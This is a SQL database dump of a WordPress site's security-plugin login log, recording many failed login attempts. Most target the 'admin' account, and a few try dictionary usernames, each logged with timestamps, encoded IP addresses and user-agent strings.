(101274, 1497595291.622070, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101273, 1497594275.524027, 1, 'loginFailValidUsername', 'admin', 1, 2588096105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101272, 1497594273.695283, 1, 'loginFailValidUsername', 'admin', 1, 2588096105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101271, 1497594006.022743, 1, 'loginFailValidUsername', 'admin', 1, 2083198645, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101270, 1497594004.537238, 1, 'loginFailValidUsername', 'admin', 1, 2083198645, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101269, 1497588652.526115, 1, 'loginFailValidUsername', 'admin', 1, 2054111803, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101268, 1497588650.984761, 1, 'loginFailValidUsername', 'admin', 1, 2054111803, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101267, 1497588364.424451, 1, 'loginFailValidUsername', 'admin', 1, 2050666736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101266, 1497588100.009781, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101265, 1497587221.927679, 1, 'loginFailValidUsername', 'admin', 1, 1416429771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101264, 1497587220.877607, 1, 'loginFailValidUsername', 'admin', 1, 1416429771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101263, 1497582986.228470, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/534.18.61 (KHTML, like Gecko) Version/4.7.2 Safari/533.35'),
(101262, 1497581303.850928, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101261, 1497578872.187043, 1, 'loginFailValidUsername', 'admin', 1, 1768366811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101260, 1497578870.884191, 1, 'loginFailValidUsername', 'admin', 1, 1768366811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101259, 1497574414.667611, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101258, 1497572490.482926, 1, 'loginFailValidUsername', 'admin', 1, 1892867061, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101257, 1497570680.450906, 1, 'loginFailInvalidUsername', 'vous', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101256, 1497570678.604097, 1, 'loginFailValidUsername', 'pablo', 3, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101255, 1497570676.896491, 1, 'loginFailValidUsername', 'julie', 2, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101254, 1497570675.204654, 1, 'loginFailInvalidUsername', 'center', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101253, 1497570673.545143, 1, 'loginFailInvalidUsername', 'namur', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101252, 1497570671.848297, 1, 'loginFailInvalidUsername', 'travail', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101251, 1497570670.148879, 1, 'loginFailInvalidUsername', 'professionnel', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101250, 1497570668.469985, 1, 'loginFailInvalidUsername', 'outils', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101249, 1497570666.753461, 1, 'loginFailInvalidUsername', 'venez', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101248, 1497570665.066864, 1, 'loginFailInvalidUsername', 'objectifs', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101247, 1497570069.971094, 1, 'loginFailInvalidUsername', 'cross', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101246, 1497570067.886494, 1, 'loginFailInvalidUsername', 'pour', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101245, 1497570065.782966, 1, 'loginFailInvalidUsername', 'notre', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101244, 1497570063.481352, 1, 'loginFailInvalidUsername', 'training', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101243, 1497570061.385954, 1, 'loginFailInvalidUsername', 'vous', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101242, 1497570059.289804, 1, 'loginFailValidUsername', 'pablo', 3, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101241, 1497570057.208941, 1, 'loginFailValidUsername', 'julie', 2, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101240, 1497570055.082494, 1, 'loginFailInvalidUsername', 'center', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101239, 1497570052.955899, 1, 'loginFailInvalidUsername', 'namur', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101238, 1497570050.858398, 1, 'loginFailInvalidUsername', 'travail', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101237, 1497570048.954826, 1, 'loginFailValidUsername', 'admin', 1, 3583324972, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101236, 1497569315.054321, 1, 'loginFailValidUsername', 'admin', 1, 1730727519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101235, 1497569312.595843, 1, 'loginFailValidUsername', 'admin', 1, 1730727519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101234, 1497568645.021080, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101233, 1497568540.480428, 1, 'loginFailValidUsername', 'admin', 1, 532244500, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; InfoPath.2)'),
(101232, 1497563168.192785, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101231, 1497560317.736809, 1, 'loginFailValidUsername', 'admin', 1, 1602769142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101230, 1497560316.736366, 1, 'loginFailValidUsername', 'admin', 1, 1602769142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101229, 1497557687.252093, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101228, 1497556706.105200, 1, 'loginFailValidUsername', 'admin', 1, 1309966181, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101227, 1497556705.159186, 1, 'loginFailValidUsername', 'admin', 1, 1309966181, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101226, 1497556457.105505, 1, 'loginFailValidUsername', 'admin', 1, 1486676647, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101225, 1497556456.083607, 1, 'loginFailValidUsername', 'admin', 1, 1486676647, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101224, 1497555937.364954, 1, 'loginFailValidUsername', 'admin', 1, 831675222, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101223, 1497555935.809061, 1, 'loginFailValidUsername', 'admin', 1, 831675222, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101222, 1497555596.888769, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.06.59 (KHTML, like Gecko) Version/5.6.1 Safari/532.13'),
(101221, 1497554020.672054, 1, 'loginFailValidUsername', 'admin', 1, 693797103, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101220, 1497554019.418258, 1, 'loginFailValidUsername', 'admin', 1, 693797103, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101219, 1497551870.407807, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101218, 1497551181.852648, 1, 'loginFailValidUsername', 'admin', 1, 2996915206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101217, 1497548374.433040, 1, 'loginFailValidUsername', 'admin', 1, 1454326002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101216, 1497548373.191266, 1, 'loginFailValidUsername', 'admin', 1, 1454326002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101215, 1497546880.740171, 1, 'loginFailValidUsername', 'admin', 1, 3631648402, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101214, 1497546873.755714, 1, 'loginFailValidUsername', 'admin', 1, 3631648402, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101213, 1497545930.697698, 1, 'loginFailValidUsername', 'admin', 1, 1837047866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101212, 1497545929.506871, 1, 'loginFailValidUsername', 'admin', 1, 1837047866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101211, 1497545294.982303, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101210, 1497544204.955545, 1, 'loginFailValidUsername', 'admin', 1, 3168543257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101209, 1497544203.277731, 1, 'loginFailValidUsername', 'admin', 1, 3168543257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101208, 1497543771.359007, 1, 'loginFailValidUsername', 'admin', 1, 1833145697, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101207, 1497543723.328437, 1, 'loginFailValidUsername', 'admin', 1, 3065291823, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101206, 1497543721.548621, 1, 'loginFailValidUsername', 'admin', 1, 3065291823, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101205, 1497543679.981606, 1, 'loginFailValidUsername', 'admin', 1, 3743340614, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101204, 1497543561.325237, 1, 'loginFailValidUsername', 'admin', 1, 1544579148, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101203, 1497543559.925038, 1, 'loginFailValidUsername', 'admin', 1, 1544579148, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101202, 1497543272.959772, 1, 'loginFailValidUsername', 'admin', 1, 1310564959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101201, 1497543271.931270, 1, 'loginFailValidUsername', 'admin', 1, 1310564959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101200, 1497537900.040434, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101199, 1497536693.850719, 1, 'loginFailValidUsername', 'admin', 1, 3081917928, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101198, 1497536692.371167, 1, 'loginFailValidUsername', 'admin', 1, 3081917928, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101197, 1497535413.424471, 1, 'loginFailValidUsername', 'admin', 1, 831894783, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101196, 1497535410.103272, 1, 'loginFailValidUsername', 'admin', 1, 831894783, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(100977, 1496778652.877891, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100976, 1496778652.562726, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100975, 1496778652.250898, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100974, 1496778651.940121, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100973, 1496778651.629892, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100972, 1496778651.318493, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100971, 1496778651.007807, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100970, 1496778650.692810, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100969, 1496778650.373988, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100968, 1496778650.063988, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100967, 1496778649.752180, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100966, 1496778649.438813, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100965, 1496778649.128236, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100964, 1496778648.805996, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100963, 1496753098.344955, 1, 'loginFailValidUsername', 'admin', 1, 3132510964, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100962, 1496742261.736167, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100961, 1496742261.424426, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100960, 1496742261.112623, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100959, 1496742260.797158, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100958, 1496742260.428147, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100957, 1496742260.117584, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100956, 1496742259.800880, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100955, 1496742259.490076, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100954, 1496742259.156649, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100953, 1496742258.697910, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100952, 1496742258.387864, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100951, 1496742258.077386, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100950, 1496742257.760424, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100949, 1496742257.446352, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100948, 1496742257.134197, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100947, 1496742256.823727, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100946, 1496742256.511603, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100945, 1496742256.198350, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100944, 1496742255.883460, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100943, 1496711602.020060, 1, 'loginFailInvalidUsername', 'outils', 0, 2014968716, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100942, 1496709296.974567, 1, 'loginFailValidUsername', 'admin', 1, 3163163411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100941, 1496708591.878705, 1, 'loginFailInvalidUsername', 'notre', 0, 1984277895, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100940, 1496707742.439463, 1, 'loginFailInvalidUsername', 'training', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100939, 1496707740.532308, 1, 'loginFailInvalidUsername', 'vous', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100938, 1496707738.663029, 1, 'loginFailValidUsername', 'pablo', 3, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100937, 1496707736.767955, 1, 'loginFailValidUsername', 'julie', 2, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100936, 1496707734.368431, 1, 'loginFailValidUsername', 'admin', 1, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100935, 1496707732.523045, 1, 'loginFailInvalidUsername', 'center', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100934, 1496707730.728344, 1, 'loginFailInvalidUsername', 'namur', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100933, 1496707728.922097, 1, 'loginFailInvalidUsername', 'travail', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100932, 1496707727.118738, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100931, 1496707725.299204, 1, 'loginFailInvalidUsername', 'outils', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100930, 1496707085.118454, 1, 'loginFailValidUsername', 'admin', 1, 788319630, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100929, 1496685562.886583, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100928, 1496685562.542020, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100927, 1496685562.232984, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100926, 1496685561.922536, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100925, 1496685561.613747, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100924, 1496685561.304937, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100923, 1496685560.994716, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100922, 1496685560.686343, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100921, 1496685560.376230, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100920, 1496685560.068200, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100919, 1496685559.757421, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100918, 1496685559.448722, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100917, 1496685559.027818, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100916, 1496685558.718846, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100915, 1496685558.410216, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100914, 1496685558.101838, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100913, 1496685557.793170, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
